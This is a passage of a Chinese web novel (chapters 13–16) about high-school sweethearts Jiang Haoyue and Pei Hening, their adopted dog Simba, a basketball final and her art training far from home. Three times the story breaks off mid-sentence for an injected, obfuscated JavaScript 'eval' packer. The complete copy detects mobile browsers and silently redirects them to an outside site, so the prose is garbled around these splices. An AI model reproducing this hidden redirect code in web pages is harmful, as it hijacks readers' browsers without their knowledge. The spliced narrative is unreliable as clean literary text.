他揉了揉狗狗的脑袋,低头在辛巴耳边轻声说:“以后就当一只无忧无虑的小狗,不要再受伤了。” 谭将明想起那年五月,绿树如茵,夕阳漫天。 救护车里,是抓捕犯人、身受重伤的,他的师妹。 救护车外,少年骑着单车飞驰而过,眼睛有光,嘴角有笑,敞开的双肩包里装着的,是要送给母亲的鲜花。 裴鹤宁到家的时候,家里有人搬着东西、进进出出。 出差很久没见人的裴建勋,此时在客厅中央指挥:“电视放到这边,衣柜放到卧室,旧的柜子搬走扔掉……” 他下意识去看墙上的母亲的遗照,却只看到大红色的“囍”字,贴在了窗户上、门上,目光所及,一片喜气洋洋。 “我妈的东西呢?” “我都收起来了。” 裴鹤宁冷声:“为什么要收起来?” 裴建勋官职高,在单位坐惯主席台,已经很多年没听过有人用质问的语气跟他说话。 但这个人是他的儿子,他压制着本能的火气,当着外人的面温和道:“我跟你张阿姨已经登记了,婚礼不会大办,除夕夜亲戚朋友一起吃个饭,之后,张阿姨就住进来了。” 裴鹤宁好像什么都听到了,也好像什么都没听到,他面无表情不带情绪地又问了一遍:“我妈的东西呢?” 只有声音里的无措,出卖了他只是个十六岁少年的事实。 裴建勋轻飘飘丢给他三个字:“地下室。” 落了灰尘的地下室,放着落了灰的他小时候的玩具车,也放着要被忘记的母亲的一切。 一个人的一生,怎么可以都装进一个不大不小的纸箱子。 箱子里,是母亲的遗照、母亲的工作笔记、母亲的警官证、母亲被剪掉一个角代表销户的身份证,还有他偷偷藏起来没被烧掉的一身警服。 而最下面,是一枚褪色的、廉价的塑料胸针。 那是幼儿园的裴鹤宁用25张“好孩子小红花”跟老师兑换的、给妈妈的母亲节礼物。 “我早就给你看好了呢,”妈妈牵着他回家的路上,他仰起头告诉妈妈:“好好睡觉赢一张、背古诗赢一张、算数算得快赢一张,可把我累坏了。” 裴鹤宁抱起箱子,一如在妈妈的葬礼上抱起妈妈的遗照。 于是他的房间充斥着母亲的遗物——警服、笔记、胸针,还有他自己。 桌子上的手机亮起不知道多少次,终于被看到。 【裴鹤宁,你不在家吗?蘑菇大哭.jpg】 【好冷好冷!蘑菇捂紧小被子.jpg】 【我在便利店门口呢!现在就要见面!蘑菇探头.jpg】 【裴鹤宁,我来兑换我的奖励啦!蘑菇双手叉腰.jpg】 - 早知道就提前说一声了,不应该这样横冲直撞直接跑来,万一裴鹤宁现在不方便在外面、又或者看不到她的信息…… 她只是想着快点见到他,结果一不小心莽撞了。 江皓月想,要不先回家好了。 就在这时,她手里牵着的德牧突然看向某个方向,紧接着因为兴奋在她身边摇起尾巴。 江皓月顺着狗狗看的方向看过去,少年修长挺拔的身影笔直投射在瞳孔之中。 在他发现她之前,她大力挥手:“裴鹤宁!我在这儿!” 裴鹤宁抬眸,对上江皓月的视线,和立在她身边的、想要跑向他的德牧。 他微微一怔,而她俯身摸了摸德牧的脑袋,松开了手里的牵引绳。 直到狗狗扑上来的这一刻,裴鹤宁才信—— 怀里这只德牧不是和辛巴长得像,而是,就是辛巴。 他声音不能更轻,问面前的女孩子:“是你领养了?” 江皓月点头,得意兮兮昂起下巴:“对呀!想不到吧?” 她像个迫切想要得到夸奖的小朋友,语气雀跃。 裴鹤宁完全没有想过,在母亲的所有痕迹都被抹掉的这一天,他还会再见到辛巴。 “为什么要领养。” 因为我喜欢你呀。 江皓月绷着脸说:“因为你是我的朋友。” 只不过,是想让你长大以后给我当男朋友的那个朋友。 她怕裴鹤宁会觉得有负担,解释道:“如果换做是何嘉豪,我也会领养的,其实我爸爸一直想养德牧,但我妈妈一直不同意呢!” 说到这里,她故作神秘地顿了顿,眉眼间一派天真烂漫,脸上写着:快问我啊,快问我! “怎么让阿姨同意的?” 裴鹤宁问出口的瞬间,就想明白了—— “我妈说下次数学考试如果能考90分往上,她就满足我一个心愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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寒假的每次见面,她都是跑着的,嘴里喊着“裴鹤宁”、“小裴同学”,风风火火,然后从各种他想象不到的地方,给他掏出各种各样的零食,就跟出去打猎了一样—— “小裴同学,吃薯条吗?” “裴鹤宁,芝士饼干尝尝!” “鹤宁兄,烧烤味和番茄味你喜欢哪个?” “我跑着来的,冰激凌差一点就要化掉了,给!” 她好像随身携带着哆啦A梦的口袋。 他问:“为什么总给我带零食。” 江皓月撕开果冻,脸颊微微鼓起:“吃零食心情会好。” 她听说裴鹤宁父亲再婚的事情了,就在除夕夜,很气愤也很无奈,但她觉得,天大的事儿,吃点好吃的,都能过去。 如果过不去,那就多吃一点。 她软软笑着:“我心情好,希望你也心情好。” 裴鹤宁淡声:“其实不用。” 江皓月仰起脸:“什么?” 裴鹤宁:“不用给我带零食。” “你不喜欢呀?” 江皓月对自己没有精准拿捏裴鹤宁的喜好感到失望,她应该先了解一下,裴鹤宁喜欢什么口味的。 “不是。” “那就是我送的都是你不喜欢的口味?”江皓月皱眉,“那你是不是没有吃?都扔了吗?” “没有,我都吃掉了。” 江皓月长睫毛扑闪,他的语气有些乖是怎么回事? 裴鹤宁薄唇轻启,柔声解释:“我的意思是,没有零食我心情也很好。” 江皓月才不信:“谁说的,你都很少笑,看起来就是不高兴,动画片里有个角色就叫‘不高兴’。” 裴鹤宁轻扬眉,漆黑瞳孔深处笑意浅浅漾开,似有流光一闪一闪:“如果我是不高兴,你是谁?” 江皓月慢半拍,瞪圆眼睛:“你说我是‘没头脑’?” 裴鹤宁嘴角难得有笑:“你自己说的。” 突然,江皓月慢半拍地问:“没有零食心情也很好,是因为小狗、还是小狗主人?” 她又开始吃糖了,说话也是甜甜软软的气息。 裴鹤宁没有回答。 他不说话,她就非要一个结果,手指抓着他的外套,势必要去看他的眼睛和每一寸表情。 裴鹤宁任由她抓着胡闹,衣服领口都被她拽下去一些、露出黑色冲锋衣里面的白色T恤领口。 男生偏开头,躲避她的注视和胡闹,下颌和脖颈一片冷白,喉结线条俊秀锋利,但耳朵已经在变红。 江皓月不依不饶:“到底是因为什么嘛?跟我说嘛!” “小心。” 不知道从哪个巷子口蹿出一辆没有减速的电动车,裴鹤宁拎着她的卫衣帽子往自己怀里一带。 距离猝不及防拉近,她的肩膀撞到他的胸口,这样近的距离,好像一个拥抱,少年身上清寒好闻的气息铺天盖地。 江皓月脸红心跳,乖乖噤声,就在她要仰起脑袋看他时,卫衣帽子也被他随手扣了下来,遮住视线。 心跳如鼓,少年清冷温和的咬字,轻轻缓缓从头顶落下—— “因为你。” 14.第 14 章 “梁蜚,寒假我每天带辛巴散步,都能遇到裴鹤宁呢!他每天都说‘我在等小狗’,就不能是‘我在等小狗主人’吗?” “梁蜚,我发现裴鹤宁特别容易害羞,他说真心话的时候,会这个样子把帽子扣在我脑袋上,不让我看他,耳朵红得呦……” “梁蜚,裴鹤宁笑的时候,嘴角有个好漂亮的小梨涡,我好想戳一戳!” “梁蜚,我什么时候才能长大把他变成男朋友哇……” “梁蜚,你说他喜不喜欢我呢?” “梁蜚,如果能穿越就好了,我就能看看十年后到底有没有和裴鹤宁在一起……” 春日樱花烂漫,喜欢正在萌芽。——仓颉《玻璃糖纸》 - 无忧无虑的年纪,日子过得飞快。 如果说高中也有主线,那江皓月的主线,一是考最好的美院,二是拿下裴鹤宁。 从高一到高二,主线一突飞猛进。 她的画画水平稳步提升,就连随手开的、画小漫画的账号,在一年多的时间里,也积累了六位数的粉丝。 文化课成绩更是令人瞠目,数学已经从高一的98分到了高二的115分,其他科目也被裴鹤宁恶补到了中上水平,高二上学期月考又创新高,甚至被树立为进步典型。 但是,主线二毫无进展。 在把裴鹤宁占为己有、金屋藏娇这件事情上,完全还停留在“想想”的阶段。 每次她想跟裴鹤宁说点有的没的,都会换来—— 【物理会了?】 【数学写完了?】 【拿出月考的卷子】 如果这微信不是她亲手加的,她真要怀疑自己加了教导主任!可最后,被惹毛的江皓月也只能毛茸茸地回一个表情【╰_╯】。 心拔凉 尤其每次小蘑菇的账号上线,后台都有人在问——“今天小蘑菇和小鲸鱼在一起了吗?” 这不是哪壶不开提哪壶吗?她每次都皱着脸,复制粘贴一堆带哇哇大哭表情的“没有”。 美术生的封闭集训在高二下学期的五月。 四月,学校的樱花开了一片,离校时间进入倒计时。 江皓月捧着脸愁眉不展,等她回来裴鹤宁会不会被别人追走呀? 晚自习下课铃声响起。 这学期,何嘉豪为了节省时间学竞赛,直接办理住校,小伙伴梁蜚也去了重点班。 每次大考都是一次大洗牌,无数人上上下下,但梁蜚保持着第19名纹丝不动,顽强得像扎根在悬崖上的小草。 小草为了把根扎得更深,很多时候连吃饭都顾不上,又或者去食堂买几个包子馒头就回了教室。 江皓月变成了一个人,但她为自己一往无前的小伙伴们拍手叫好。 自己吃饭、自己上学、自己回家是很难忍受,但她肯定很快就习惯了,她给自己这样洗脑。 没想到在她习惯之前,已经有人等在教室门口——“江皓月,走吧。” 男生冷着一张沉默英俊的脸,面无表情说道。 她七上八下的心脏,忽然落入温暖的怀抱,一片绵软。 放学时间,教室门口人来人往,江皓月的“裴鹤宁探测雷达”发现目标,亮起信号指示灯。 她开开心心与他并肩:“好饿好饿,我要去校门口买烤鸡皮和淀粉肠……” “江皓月。” “嗯?” 裴鹤宁:“随便说个数字。” 江皓月大眼睛眨巴眨巴,脱口而出:“那就1吧。” 裴鹤宁:“为什么。” 月光如流水,笼着面前清瘦高挑的少年。 十七岁的年纪,身形介于男孩和男人之间,身高腿长,肩膀宽阔平直,但从侧面看过去,又有种单薄清瘦的少年感。 “因为你在我这儿是第一名呀!”江皓月掰着手指头数给他听,“性格第一名,长相第一名,身高第一名。” 还有两根手指头竖着,视线相对,她蹙眉纠结:“我不是说不出来了,是还想说的太多了,那就可爱第一名、害羞第一名吧。” 她想也没想脱口而出,身侧少年却不说话了。 冷冷淡淡一张脸,英俊瘦削而五官立体,从眉峰到鼻梁、下颌到脖颈都是俊秀凌厉的线条,只有抿起的嘴唇和慢慢变红的耳朵,是软的,出卖少年内心并非毫无波澜。 江皓月从小长在蜜罐子里,说出来的话也理所当然甜甜的,夸人是本能。 她后知后觉,自己刚才说的话,有点过于直白,直白到好像在说,她不是喜欢数字“1”,而是喜欢他。 在男生的沉默里,江皓月的脸颊无可救药地发烫,带着点委屈懊恼咕哝道:“你问我,我说了,你又不说话了……” 她看了裴鹤宁一眼,目光也幽怨起来:“我想什么都告诉你,你想什么都不告诉我,真是不公平……” 可是…… 真的有不公平吗? 他只是性格和她不一样而已啊。 或许…… 如果裴鹤宁生在她家,他也会是个无忧无虑的阳光少年。 如果她生在裴鹤宁家,说不定已经压抑出一堆心理疾病。 对于一只孤孤单单的小鲸鱼来说,能游上岸和小蘑菇当朋友,就已经很难得了,不是吗? 怕她不肯自己吃饭,所以他开始在高峰期陪她去食堂。 在何嘉豪住校、没人和她一起坐车以后,他每天放学都在教室门口等她。 他用所有能利用的时间给她整理数学笔记和习题,最后也只轻飘飘说一句“书店买的”。 什么都不知道的她,只是觉得笔记用起来很顺手,还笑嘻嘻说“这出题人真是跟我心有灵犀”。 她问裴鹤宁是在哪买的,甚至还没心没肺地说:“我还要物理、化学、生物的……” 她想要,她得到,裴鹤宁有哆啦A梦的口袋,轻易就给她变出来了。 直到同学跟她取经成绩如何进步飞速,她拿出一沓笔记,让人照着这个封面去书店买。 才知道书店里从来没有卖过这些习题册,而了解她的,不是出题人,是裴鹤宁。 江皓月小声纠正:“我要求有点多了,撤回!你这样就很好,真的。” 视线相对,少年睫毛柔软,嗓音轻而凝定,说的却是:“我会改的。” “嗯?” 裴鹤宁又重复了一遍:“我会改的。” 他像外表坚硬但内里柔软的水果,咬下去才知道清清爽爽酸酸甜甜。 江皓月心软得一塌糊涂,突然什么都说不出来。 裴鹤宁问:“明天来看我打球吗?” 高二的篮球比赛,明天就是决赛。 裴鹤宁是被何嘉豪生拉硬拽去的,当时何嘉豪死皮赖脸缠着他:我现在有宿舍了等打完球你想怎么洗就怎么洗就上场救个急吧…… 江皓月眉眼弯弯应了:“好!” - 翌日起床,月经造访。 好在江皓月以中彩票的概率,拥有来月经不疼的好体质,不适感完全可以忽略。 下午第二节课下课,她迫不及待抱着相机跑到球场。 下个月就要去美术集训了,她要留下很多很多个瞬间,才好在见不到他们的十个月时间里,偷偷想念。 相机镜头先是对准何嘉豪:“欢乐哥,笑一个。” 何嘉豪昂着下巴皮笑肉不笑:“把我拍得帅点。” 镜头又对准即使来看篮球赛、手里也拿着单词书的梁蜚,江皓月没有打扰,只是按下快门,定格女生专注柔和的侧脸。 最后,镜头对准梁蜚后面的裴鹤宁。 男生眉峰挺拔而瞳孔漆黑,下颌弧线冷漠锋利,淡淡扫来的那一眼,帅得叫人心脏骤停。 而后,似乎认出镜头后面藏着的小半张脸是她,他的眼尾轻轻一弯,没笑,可也让眉眼五官都柔和。 一前一后,两张照片,判若两人。 江皓月不仅拍到了裴鹤宁,还拍到了眼含笑意的裴鹤宁,心满意足,她翻看着相机里的画面,转身去球场边。 “江皓月。” “在呢!” 裴鹤宁低声:“过来。” 江皓月小跑到他面前:“怎么啦?你紧张呀?” 裴鹤宁没说话,只是拉开身上的校服拉链,脱下来,露出里面没有图案的白色短袖。 校服拎在手里,又搭在她的肩上。 头顶落下阴影, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261399|181810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他个子太高,弯下腰,随着俯身的动作,少年领口微敞开,江皓月眼睛正对他的喉结和锁骨,那块儿的皮肤白得像不见阳光…… 她赶紧移开视线,近距离的美色和温柔让人无力抵抗,偏偏鼻尖还萦绕着少年身上清淡好闻的香气。 裴鹤宁:“伸手。” 江皓月被蛊惑一般乖乖照做,伸出的手臂穿上男生的校服,蓦地意识到什么,脸在一瞬间烧起来:“是不是……” 弄到了裤子上面…… 她没穿校服外套就急匆匆下了楼。 少年长长的睫毛投影,比女孩子的还长还漂亮,耳朵也微微泛红,低低“嗯”了声。 就算大大咧咧如江皓月,此时此刻脸皮也厚不起来,蚊子似的哼哼唧唧:“会把你的校服弄脏……” “没关系。” 江皓月抿唇:“你的洁癖好啦?” “没有。” 裴鹤宁弯着腰给她拉拉链,阳光落在他的发顶,乌黑的发丝看起来好软、好蓬松,有一层金灿灿的光。 江皓月不合时宜地想到辛巴,因为裴鹤宁的头发看起来也有些毛茸茸的,不知道是不是也很好摸…… 就这样胡乱想着,校服的拉链被白皙修长的手指拉到锁骨,没有碰到她分毫。 她的目光从他发顶,到挺直鼻梁,再到看起来很软的嘴唇。 裴鹤宁薄唇轻启,咬字清晰:“是你就没关系。” 心脏变成软绵绵轻飘飘的云朵,被阳光晒透,暖烘烘。 她看向场上:“比赛是不是要开始了?” 可他置若罔闻:“不舒服的话我去给你买药。” “不是都会疼的,”江皓月小小声解释,软软笑着,可是脸颊红红,“快去吧,我要看你打球。” “那我去了。” “好。” 裴鹤宁的校服,穿在他身上很正常,穿在她的身上就是好大一件。 他高一就过一米八五了,现在是不是得一米八七了? 江皓月把手伸进校服口袋,习惯性揣着手,然后摸到了什么东西—— 左手摸到的,是糖果、果冻,她最喜欢的几种口味,从来不吃甜的人,现在口袋里也总是有糖果。 江皓月剥开一颗柠檬糖,笑得眉眼弯弯。 而右手摸到的,是一张没折起来的小纸条。 学霸们上课也传小纸条吗? 她刚要给裴鹤宁放回去,就在纸条上看到了自己的名字。 江皓月眼睛瞪得跟探照灯一样,实在是没有忍住,缓缓展开纸条,何嘉豪的字跟螃蟹似的爬进视野—— 【选一下球衣数字】 下面清秀锋利的、是裴鹤宁的字:【我问下江皓月。】 何嘉豪:【无语无语超级无语╰_╯】 心跳怦然。 随着篮球砸在地上的声响,比赛开始。 裴鹤宁很保守,球服里面还有短袖。 而球服上的数字,赫然是“1”。 他什么都没说,可又好像,什么都说了。 于是在这场篮球决赛里,坐在球场边的江皓月没有注意比分,没有注意球到了谁的手里。 只是看到她喜欢的少年背后,是她随口一提的数字,进球后无意识看向她的那一眼,清澈眼底尽是让人心动的意气风发,少年气蓬勃动人。 不知道过了多久,裁判吹哨,比赛结束。 从球场上下来的裴鹤宁头发微微汗湿,眉眼睫毛黑得更浓,他怕自己身上有不该有的味道,不敢站得离江皓月太近。 可女孩子开开心心凑到他的面前。 大家都穿着一样的校服,所以远远看着的时候,她穿他的校服也不那么显眼。 但近看,真的很像小朋友穿大人的衣服,他齿尖咬着下嘴唇,嘴角忍不住上扬。 江皓月一叠声的:“是第一名是第一名!” 她眉眼柔软,瞳孔特别的亮,每个字音都在蹦蹦跳跳。 漫天夕阳,美得像画,世界一片暖色。 裴鹤宁俯身把手里的奖牌挂到她的脖子上。 少年手撑膝盖,保持跟她平视的高度,碎发垂在眉宇,瞳孔特别的亮,他轻笑着说:“第一名是你的了。” 15.第 15 章 “梁蜚,他说他不开心。”——仓颉《玻璃糖纸》 - ——第一名是你的了。 对上少年清亮如水的瞳孔,江皓月真的很想问: 这个第一名,是指奖牌,还是指你自己呢? 你可以是我的吗? 可她被美色和温柔蛊惑,大脑空白一片,突然就什么都说不出来。而在她问出口之前,美术集训来了。 集训不是儿戏,即使在所有人眼里她都是天赋值点满的那一个。许医生和江教授在选画室这件事上,慎重得不能更慎重。 他们筛选出一家本地画室,一家北城画室。 “本地的画室师资力量稍微差一些,但我和你爸可以在旁边租个房子,给你陪读。” “北城的画室美术资源更好,同学里高手云集,拿下校考的把握更大,但是离家八百多公里,如果没有合得来的小伙伴,你就要习惯一个人吃饭、一个人上课,而且每周只休息一天,你都不能回家。” 选择摆在女儿面前,揪心的是许医生和江教授。许医生现在都记得送女儿上幼儿园那天,自己一向稳重的丈夫哭得比女儿还厉害。 江教授轻叹口气:“要不就选本市的吧?集训本来就很苦了,自己一个人怎么能行?” 除了高一军训的那七天,江皓月从来没有离开过家,而就那七天,她都不知道在室友们睡着之后偷偷哭了多少次。 可现在不是任性的时候,她下定决心要去最好的美院,她那么喜欢画画,还画了这么多年。 那张仍有些稚气的脸上,透着被保护得很好的天真,可眼神却坚定:“我想去北城的画室。” 话一出口,妈妈爸爸脸上都是不忍心。 江皓月故作轻快,笑着说:“我也该吃一点苦了,不然永远都长不大。” - 离家前的最后一个晚上,江皓月带着辛巴出门散步。 外面下起了小雨,她蹲下来,一边给辛巴穿雨衣,一边说:“明天我要出一趟远门,可能时间有点久。” 狗狗似乎听懂了,一双湿漉漉的眼睛看着她,仿佛在说:能带上我吗? 江皓月揉了揉辛巴的脑袋:“等暑假的时候,裴鹤宁会接你去他那里,你可不能忘了我哦!” 她推开楼门,和路灯下撑着伞的少年对上视线。 修长挺拔的一道身影,宽肩、长腿、脸小还五官立体,卫衣搭运动裤,青涩又干净的少年感。 “呦!”江皓月牵着辛巴走到他面前,仰起脸:“又在等小狗呢?” 她带狗狗出门的时间很固定,每次出门,都能“恰巧”碰到裴鹤宁。 每次,他都说“我在等小狗”,所以这次,他没说,她都能替他说了。 裴鹤宁用他手里的雨伞,轻轻碰了碰她的雨伞。 深蓝夜幕下,两只马上就要分开的小鲸鱼贴贴。 少年瞳孔映着月色,温柔得似有波光:“我在等小狗主人。” 心脏像是被什么击中,软趴趴得要融化掉,江皓月轻声说:“可是小狗主人马上就要去很远的地方了。” “裴鹤宁。” “嗯。” “下星期和下学期我都不去学校了。” “我知道。” 江皓月脑袋耷拉着,嘴角向下撇,今天是一朵蔫掉的小蘑菇:“十二月联考,明年二、三月校考等我,回来可能就是四、五月份了。” 高中本来应该是灰头土脸很痛苦的,可是因为遇到他,她每天都好高兴。 她很想跟他一起上高三、一起看学校的元旦晚会、一起听校园广播里的歌、一起参加百日誓师大会……可是,等她回来的时候,高中就要结束了。 江皓月仰起脸:“你都没有什么要跟我说的吗?我一走就是十个月起步呢!” 裴鹤宁垂眸,漂亮清秀的眉眼,目光清清淡淡,他的情绪似乎从来不会为任何人和事情波动。 最后,也只是一句平铺直叙没有感情的:“安心画画,文化课回来我给你补。” 江皓月目光幽怨:“就这些?” 裴鹤宁把手里的纸袋递给她,里面是江皓月最喜欢的巧克力:“吃完就会见面了。” 哄小孩儿一样。 江皓月瞳孔黑亮,那里似有一簇小小火苗,闪烁着微弱又小心翼翼的期待:“除了学习、零食,就没有别的了吗?” 裴鹤宁嗓音放得很轻,哄人的意味明显:“你有什么要跟我说的吗?” “不准对着别的小女孩笑。” “好。” “不准把给我买的糖分给别人。” “嗯。” 雨水落在伞面,滴滴答答,江皓月好想回到他等在教室门口、和她说“下雨了,我来等你的小鲸鱼一起游泳”的那一天。 “下雨天不准和别的小鲸鱼一起游泳。” “知道了。” 他是从什么时候开始不再冷冷淡淡、开始对她有求必应、开始对她听之任之的呢? 温柔成这个样子,她都想欺负他,可是更会想他。 最后,江皓月小小声问:“以后我不在你旁边叽叽喳喳闹你了,你是不是松了一口气?” 少年长睫低垂,唇角轻轻抿起,平直没有笑意。 江皓月紧盯着他英挺好看的眉眼,抓住最后的机会叽叽喳喳:“是不是觉得不用给我补习、不用陪我吃饭、不用等我放学一起走,很好很开心?” 她穿了一件红色卫衣,帽子上还有两只小熊耳朵。 在她不依不饶时,卫衣的帽子被裴鹤宁拎起扣到了脑袋上。 帽子很大,遮住她的眼睛,只露出挺翘的鼻尖和因为惊讶微微张着的嘴。 眼前一片漆黑,江皓月不服气,想要摘掉帽子。 下一刻,一道又低又轻的声音落在耳边:“我不开心。” - 翌日清早,妈妈早早去医院准备给病人做手术,爸爸送江皓月去集训的画室。 早上7点的高铁,中午12点多到。 离家八百公里的地方,陌生的环境,陌生的同学,陌生的宿舍,没有梁蜚,没有欢乐哥,更没有裴鹤宁。 把一切都安顿好之后,爸爸才点开购票软件买返程车票。 江皓月揪着爸爸的衣角,皱着眉皱着脸的模样和小时候没什么区别:“能不能给我也买一张,我也想回家……” 她本来是想当个玩笑说出来,可说着说着,眼圈不受控制地变红,话音到最后,已经听不见。 江教授轻叹口气,温声问:“要不爸爸先在这陪你几天?等你习惯了爸爸再回家。” 江皓月摇头:“那我就会一直、一直长不大,我就是现在想哭,等集训开始就顾不上了。” 她扯出一个笑:“您就买下午三点的车票吧,吃完饭就去高铁站,这样到家还能休息下。” 美术集训就这样开始了。 远比想象中苦,苦很多倍。 苦在她从小到大都是“天赋怪”,是老师嘴里的好苗子,可在全国顶尖的画室,真正的“天赋怪”随手画几笔,都是她无法企及的高度。 这个赛道,全是天才。 她不再拔尖,但也远算不上差,紧抓着看不见摸不着的天赋不放,死命挣扎。 她的日常,变成每天醒了画,画完睡,睡醒了继续画,每天每天,循环往复。 她的手只想画高分卷,所以再也没有画过自己喜欢的东西。 她的生活变成了她的画,她的画变成了她的生活,一片灰白。 铅灰是洗不掉的,衣服是沾满颜料的,宿舍是睡不着觉的,瓶颈期是突破不了的。 某天,当她翻开自己画满小蘑菇和小鲸鱼的速写本,无忧无虑的气息铺面而来,恍如隔世。 那只只顾着画高分卷、画一堆自己不喜欢的东西的手,已经麻木如画画机器,当它再次落笔尝试去勾勒自己喜欢的男孩子时,才仿佛又找回了一点知觉—— 少年长眉过目,瞳如点漆,薄唇弧度平直,总是没有任何笑意。可看过来的那双眼睛,分明是温柔的。 - 江皓月的生日在六月,夏至那天。 原本妈妈爸爸是要来给她过生日的。 如果他们来的话,她会超级无敌爆炸开心,但她会忍不住掐着表计算他们几点回家,还会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“裴鹤宁!” “在。” 每次裴鹤宁打电话,他都没什么要说的,好像打电话过来,就只是为了听她说。 江皓月咬着酸酸甜甜的夹心,问:“你最近好吗?何嘉豪好吗?梁蜚好吗?辛巴好吗?” “都好,”裴鹤宁为她介绍小伙伴们的近况:“何嘉豪9月数竞预赛;梁蜚稳在年级前十;辛巴胖了些,周末都在我这儿。” 江皓月忍不住想象,小伙伴们一往无前朝前奔跑的样子,只有她一点进步都没有,甚至还很脆弱。 “江皓月。” “在呢。” “你呢?”裴鹤宁很认真地问:“你好不好?” 他的语气很轻、很温柔,落在耳边,像羽毛。 江皓月拼命压下去的委屈、酸涩,来势汹汹将她淹没。 她垂着脑袋,羡慕池子里自由自在不用画画的小鱼:“我很好啊,你知道的,我最喜欢画画了……” 是啊,她最喜欢画画了,怎么会画成现在这个样子。 她不想让人担心,只想说开心的事情,可没有开心的事情,只能瞎编:“而且我还买了蛋糕,准备过生日。” “一个人。” “当然不是,你知道的,没有人陪我我根本吃不下饭。” 电话那边,裴鹤宁沉默下来。 江皓月想起去年生日,有妈妈、有爸爸、有辛巴、有一大家子人,和家里人吃完饭之后,何嘉豪按下门铃,门口站着他、裴鹤宁、还有梁蜚。 她穿着好漂亮的小裙子,笑意盈盈。 可现在,一身洗不掉的颜料,很丑。 视线变得模糊不清,江皓月的手背抹过眼睛,再开口,鼻音很重。 她不想被听出异样,所以用恶狠狠的语气掩盖哭腔:“裴鹤宁,你个大坏蛋,你骗我了。” 裴鹤宁软着声音:“我怎么坏了。” 江皓月控诉:“你不是说吃完了就会见面吗?巧克力现在就只剩一口了!” 她吃掉最后一点巧克力,实时播报:“好了,现在最后一口也被我吃掉了……” 隔着听筒,少年声音近在咫尺,呼吸清浅可闻:“抬头。” 江皓月眼睛盯着水里的小鱼,心里想着另外一只高冷的小鲸鱼,情绪低落:“抬头干嘛……” 裴鹤宁冰冷的声线柔软,带着一点哄人的笑意,落在耳边好听极了:“看看坏蛋有没有骗你。” 16.第 16 章 “梁蜚,他说他大学也想见到我嘿嘿。”——仓颉《玻璃糖纸》 - 日落时分,天空也被泼了绚烂的燃料。 江皓月擦掉眼泪,怔怔抬头,视野重新清晰的时刻,她和还没挂断电话的少年直直撞上视线。 白色短袖罩着宽肩,及膝的黑色运动短裤,轮廓清秀的一道身影,猝不及防闯进她的视野。 她不止能听到他的声音,还能读出他的唇形、还能看到他和她说话时微微弯着的眉眼,嗓音不再隔着听筒,干净清晰落在耳边:“我骗了吗。” 有那么几秒钟的时间,江皓月大脑当机空白一片,蕴在眼眶的泪要掉不掉。 半长不短的头发被她随手绑了个兔子尾巴,几绺头发落下,又有几绺头发翘起,身上是美术生集训的恶心穿搭:旧旧的T恤搭配宽松长裤和洞洞鞋,颜料弄得到处都是,在不知情的人看来,或许还挺有个性。 可当裴鹤宁看到偷偷抹眼泪的她,第一反应是:瘦了,下巴都尖了。 好半天,江皓月才鼻音浓重地说了句:“没骗呢。” 她好开心,那种心情很像小时候在幼儿园被人欺负、看到来给自己撑腰的大人,开心又委屈,还有点想哭。 “你怎么知道我在这儿的?”江皓月指了指池子里的鱼,软软笑着:“你的小伙伴给你通风报信了吗?” 裴鹤宁在她身侧的排椅坐下,低低说了句:“江皓月探测雷达。” 江皓月眼皮红红的,眼尾弯弯的,瞳孔被泪水洗过、特别的亮:“那我的雷达刚才失灵了呢。” 裴鹤宁原本只是碰运气,来她提过的小池塘边等她。 却没想到,先看见她一个人咬着巧克力,可怜兮兮。 甚至还一边擦眼泪,一边骗他:买了蛋糕,在和朋友一起庆祝生日。 原来她的朋友,就是一池塘的小鱼。 江皓月又问:“你怎么来的?” 裴鹤宁交代:“高铁。” “那你什么时候回去?” “十二点多的车。” “凌晨十二点?” 裴鹤宁“嗯”了声,把蛋糕放在两人中间,修长白皙的手指拆开丝带。 蛋糕是树桩造型,巧克力味道很重,点缀以无花果、樱桃和各色莓果,主角是一只小蘑菇,红色伞盖带白色斑点,脸颊圆滚滚,笑得憨态可掬。 蜡烛点燃,暖调的光跳跃在少年漆黑的瞳孔,从不信这些的他温声对江皓月说:“许愿吧。” 江皓月双手攥起,虔诚地闭上眼睛—— 一愿,瓶颈期快快突破; 二愿,考上心仪的美院; 三愿,明年生日他还在…… 蜡烛吹灭,她迎上裴鹤宁的目光,少年温声:“生日快乐。” 他像命运馈赠的礼物,毫无预兆出现在眼前,江皓月笑得眉眼弯弯。 原来真正的生日不是从零点开始的,而是从他出现的这一刻开始的。 巴掌大小的蛋糕,两人分掉,裴鹤宁不爱吃甜,江皓月吃得更多,她提议:“大老远来一趟,我带你出去玩吧?” 只不过,她没办法像本地人一样从容,因为来北城两个月,休息日她要么在画室、要么在宿舍,从来没有出去逛过。 她有些不好意思地抿了抿唇:“虽然我也不熟,但不是有导航嘛!” 裴鹤宁抬眸:“你有没有想去但没去的地方?我陪你。” 江皓月以前很喜欢听裴鹤宁说“好不好”,微微压低的嗓音有种哄人的纵容,让人心脏软软。 现在发现他说“我陪你”的时候,才是最让人心动,那双睫毛浓密的眼睛,心无旁骛地看着她,声音很软、很温柔,温柔到让人想要抓住、想要占为己有。 江皓月老实巴交道:“我想去美院看看。” 裴鹤宁听之任之:“好。” 一个小时后,江皓月站在了美术学院门口,这些年的心之所向,近在咫尺。 她原本应该很激动的,可是想到自己越来越差的成绩,只有满心的怀疑,和无论怎么努力都不能突破的绝望。 “裴鹤宁。” 江皓月总是亮闪闪的瞳孔,压着很重很重的心事,挡住了眼里的星星。 总嚷嚷要考来这里的她,自信满满的她,不知道什么时候消失了,她有些不确定地问:“你说我明年会在这读书吗?” 